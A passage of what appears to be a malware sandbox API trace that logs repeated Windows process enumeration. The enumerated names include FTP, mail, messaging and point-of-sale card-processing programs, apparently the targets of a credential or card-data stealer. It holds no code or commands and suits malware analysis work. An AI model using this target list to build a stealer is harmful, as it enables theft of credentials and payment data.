lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0125.843] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0125.845] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0125.847] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0125.849] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0125.851] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0125.853] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0125.855] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0125.857] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0125.860] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0125.862] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0125.864] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0125.866] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0125.868] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0125.870] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0125.872] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0125.874] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0125.876] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0125.878] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0125.901] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0125.904] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0125.905] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0125.907] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0125.909] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0125.911] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0125.913] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0125.916] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0125.918] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0125.920] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0125.923] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0125.925] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0125.926] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0125.928] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0125.930] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0125.932] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0125.934] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0125.935] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0125.937] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0125.939] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0125.941] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0125.943] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0125.944] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0125.946] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0125.948] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0125.950] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0125.952] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0125.954] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0125.957] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0125.959] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0125.962] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0125.965] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0125.967] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0125.971] Process32Next (in: hSnapshot=0x204c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0125.973] CloseHandle (hObject=0x204c) returned 1 [0125.973] Sleep (dwMilliseconds=0x64) [0126.112] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e30 [0126.125] Process32First (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.127] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0126.129] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0126.131] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.133] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0126.135] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.137] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0126.140] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0126.141] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0126.144] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.177] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.180] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0126.182] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.184] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.187] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.190] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.192] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.196] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.199] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.200] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0126.202] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0126.204] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0126.205] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.207] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0126.208] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0126.210] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0126.212] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0126.213] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0126.215] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0126.217] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0126.218] Process32Next (in: hSnapshot=0x1e30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, 